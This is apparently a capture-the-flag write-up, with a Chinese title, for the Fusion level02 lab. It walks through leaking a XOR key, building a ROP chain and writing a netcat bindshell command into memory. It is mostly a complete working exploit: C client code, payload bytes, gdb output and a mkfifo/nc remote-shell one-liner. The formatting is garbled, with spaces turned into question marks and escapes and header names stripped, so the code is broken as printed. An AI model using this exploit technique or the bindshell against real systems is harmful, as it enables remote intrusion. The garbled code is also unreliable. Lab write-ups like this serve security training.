黑客入門之fusion level02
對最后的exploit 中的payload2做了小小的修改,可以得到shell。
Level 02 introduces nonexec stack and heap to go with the ASLR.
#include?"../common/common.c"?? #define?XORSZ?32 void?cipher(unsigned?char?*blah,?size_t?len) { ??static?int?keyed; ??static?unsigned?int?keybuf[XORSZ]; ??int?blocks; ??unsigned?int?*blahi,?j; ??if(keyed?==?0)?{ ????int?fd; ????fd?=?open("/dev/urandom",?O_RDONLY); ????if(read(fd,?&keybuf,?sizeof(keybuf))?!=?sizeof(keybuf))?exit(EXIT_FAILURE); ????close(fd); ????keyed?=?1; ??} ??blahi?=?(unsigned?int?*)(blah); ??blocks?=?(len?/?4); ??if(len?&?3)?blocks?+=?1; ??for(j?=?0;?j?<?blocks;?j++)?{ ????blahi[j]?^=?keybuf[j?%?XORSZ];? ??} } void?encrypt_file() { ??//?http://thedailywtf.com/Articles/Extensible-XML.aspx ??//?maybe?make?bigger?for?inevitable?xml-in-xml-in-xml?? ??unsigned?char?buffer[32?*?4096];? ??unsigned?char?op; ??size_t?sz; ??int?loop; ??printf("[--?Enterprise?configuration?file?encryption?service?--]n"); ?? ??loop?=?1; ??while(loop)?{ ????nread(0,?&op,?sizeof(op)); ????switch(op)?{ ??????case?'E': ????????nread(0,?&sz,?sizeof(sz)); ????????nread(0,?buffer,?sz); ????????cipher(buffer,?sz); ????????printf("[--?encryption?complete.?please?mention?"? ????????"474bd3ad-c65b-47ab-b041-602047ab8792?to?support?"? ????????"staff?to?retrieve?your?file?--]n"); ????????nwrite(1,?&sz,?sizeof(sz)); ????????nwrite(1,?buffer,?sz); ????????break; ??????case?'Q': ????????loop?=?0; ????????break; ??????default: ????????exit(EXIT_FAILURE); ????} ??} ???? } int?main(int?argc,?char?**argv,?char?**envp) { ??int?fd; ??char?*p; ??background_process(NAME,?UID,?GID);?? ??fd?=?serve_forever(PORT); ??set_io(fd); ??encrypt_file(); }
The overflow in **encrypt_file** is obvious, but what we send will be encrypted with a random 32 dword XOR key before we can do anything with it. The key is generated randomly per connection, but every encryption job we ask the server to perform will use the same key. First we need to leak the key, which we can do by sending 128 bytes of nulls to be encrypted. (x ^ 0 = x) We can then encrypt the payload using that key. Because xor is symmetric (x ^ y ^ y = x), **cipher()** will write our original payload into memory. There are a couple of other things working in our favour as well: there's a GOT entry for **execve()**, so we don't need to find it. The arguments for **execve()** are a bit of a pain to get into memory, but because the connection to the client is left open, instead of building a ROP chain to put it together piecemeal, we can just use **nread()** to write it directly into memory from the client. We'll trash some memory in the [bss](https://en.wikipedia.org/wiki/.bss) for that.
fusion@fusion:~#?objdump?-h?/opt/fusion/bin/level02?|?grep?bss ?25?.bss??????????000000e0??0804b420??0804b420??00002418??2**5
I picked the arbitrary offset?0x804b820, so we shouldn't overwrite anything important.
We also need the addresses for?execve(),?exit()?and?nread().
(gdb)?x/wx?0x804b3c4 0x804b3c4:???????0x08048966 (gdb)?x/i?0x8048966-6 ???0x8048960:????????jmp????*0x804b3c4 (gdb)?x/wx?0x804b3d8 0x804b3d8:?????0x080489b6 (gdb)?x/i?0x80489b6-6 ???0x80489b0:??????jmp????*0x804b3d8 (gdb)?p?&nread $1?=?(ssize_t?(*)(int,?void?*,?size_t))?0x804952d
Since?execve()?and?nread()?both take three arguments, we need a pop-pop-pop-ret gadget to jump over them.
ROPeMe>?generate?level02?10 Generating?gadgets?for?level02?with?backward?depth=10 It?may?take?few?minutes?depends?on?the?depth?and?file?size... Processing?code?block?1/1 Generated?222?gadgets Dumping?asm?gadgets?to?file:?level02.ggt?... OK ROPeMe>?search?pop?%?pop?%?pop?% Searching?for?ROP?gadget:??pop?%?pop?%?pop?%?with?constraints:?[] 0x8048f85L:?pop?ebx?;?pop?edi?;?pop?ebp?;; 0x80499bcL:?pop?ebx?;?pop?esi?;?pop?edi?;?pop?ebp?;; 0x8049529L:?pop?esi?;?pop?edi?;?pop?ebp?;; 0x80499bdL:?pop?esi?;?pop?edi?;?pop?ebp?;;
The version of netcat in the fusion vm has no -e flag, so we need to try slightly harder for the bindshell.
/bin/sh?-c?mkfifo?/tmp/hax;cat?/tmp/hax|/bin/sh?-i?2>&1|nc?-l?6666?>/tmp/hax
Setting a breakpoint on?execve(), we can see the?nread()?call has left everything the way we need it to be.
(gdb)?b?execve Breakpoint?1?at?0xb760a910:?file?../sysdeps/unix/sysv/linux/execve.c,?line?32. (gdb)?set?follow-fork-mode?child (gdb)?c Continuing. [New?process?6350] [Switching?to?process?6350] Breakpoint?1,?__execve?(file=0x804b820?"/bin/sh",?argv=0x804b870,?envp=0x0)?at?../sysdeps/unix/sysv/linux/execve.c:32 32??????../sysdeps/unix/sysv/linux/execve.c:?No?such?file?or?directory. ????????in?../sysdeps/unix/sysv/linux/execve.c (gdb)?x/24x?0x804b820 0x804b820:??????0x6e69622f??????0x0068732f??????0x0000632d??????0x69666b6d 0x804b830:??????0x2f206f66??????0x2f706d74??????0x3b786168??????0x20746163 0x804b840:??????0x706d742f??????0x7861682f??????0x69622f7c??????0x68732f6e 0x804b850:??????0x20692d20??????0x31263e32??????0x20636e7c??????0x36206c2d 0x804b860:??????0x20363636??????0x6d742f3e??????0x61682f70??????0x00000078 0x804b870:??????0x0804b820??????0x0804b828??????0x0804b82c??????0x00000000 (gdb)?x/4s?0x804b820 0x804b820:???????"/bin/sh" 0x804b828:???????"-c" 0x804b82b:???????"" 0x804b82c:???????"mkfifo?/tmp/hax;cat?/tmp/hax|/bin/sh?-i?2>&1|nc?-l?6666?>/tmp/hax"
And the complete exploit:
#include#include#include#include#include#include#define?XORSZ?32 unsigned?int?keybuf[XORSZ]; unsigned?char?buffer[33?*?4096]; void?cipher(unsigned?char?*blah,?size_t?len)?{ ????int?blocks; ????unsigned?int?*blahi,?j; ????blahi?=?(unsigned?int?*)(blah); ????blocks?=?(len?/?4); ????if(len?&?3)?blocks?+=?1; ????for(j?=?0;?j?<?blocks;?j++) ????????blahi[j]?^=?keybuf[j?%?XORSZ]; } void?eatline(int?s)?{ ????unsigned?char?x; ????while?(read(s,?&x,?1)?==?1?&&?x?!=?'n'); } int?main()?{ ????int?i,?sock; ????unsigned?char?x,?op; ????struct?sockaddr_in?sai; ????size_t?size; ????/*?nread?0x5c?bytes?of?payload2?to?0x804b820?and?execve?it?*/ ????unsigned?char?payload1[]?= ????????"x2dx95x04x08""x85x8fx04x08""x00x00x00x00""x20xb8x04x08""x5cx00x00x00" ????????"xb0x89x04x08""x60x89x04x08""x20xb8x04x08""x70xb8x04x08""x00x00x00x00"; ????/*?load?bindshell?command?line?and?argv[]?array?for?execve?*/ ????unsigned?char?payload2[]?= ????????"/bin/shx00-cx00x00mkfifo?/tmp/hax;cat?/tmp/hax|/bin/sh?-i?2>&1|nc?-lp?3333?>/tmp/haxx00x00" ????????"x20xb8x04x08x28xb8x04x08x2cxb8x04x08"; ????sock?=?socket(AF_INET,?SOCK_STREAM,?0); ????memset(&sai,?0,?sizeof(sai)); ????sai.sin_family?=?AF_INET; ????sai.sin_port?=?htons(20002); ???//?inet_pton(AF_INET,?"127.0.0.1",?&sai.sin_addr); ????memset(buffer,'A',0x20010); ????memcpy(buffer+0x20010,?payload1,?sizeof(payload1)); ????connect(sock,?(struct?sockaddr?*)&sai,?sizeof(sai)); ????eatline(sock); ????/*?get?keybuf?from?server?*/ ????op?=?'E'; ????write(sock,?&op,?sizeof(op)); ????size?=?sizeof(keybuf); ????write(sock,?&size,?sizeof(size)); ????write(sock,?keybuf,?size); ????eatline(sock); ????read(sock,?&size,?sizeof(size)); ????read(sock,?keybuf,?size); ???? ????cipher(buffer,?0x20010+sizeof(payload1)); ????/*?Exploit...?*/ ????op?=?'E'; ????write(sock,?&op,?sizeof(op)); ????size?=?0x20010+sizeof(payload1); ????write(sock,?&size,?sizeof(size)); ????write(sock,?buffer,?size); ????eatline(sock); ????/*?If?there's?any?data?left?to?be?received,?the?EPIPE?will?kill?the?shell?*/ ????char?garbage[1024]; ????while?(read(sock,?garbage,?1024)?==?1024); ????/*?Trigger...?*/ ????op?=?'Q'; ????write(sock,?&op,?sizeof(op)); ????write(sock,?payload2,?sizeof(payload2)); }
fusion@fusion:~$ nc localhost 3333
sh: no job control in this shell
sh-4.2$ id
id
uid=20002 gid=20002 groups=20002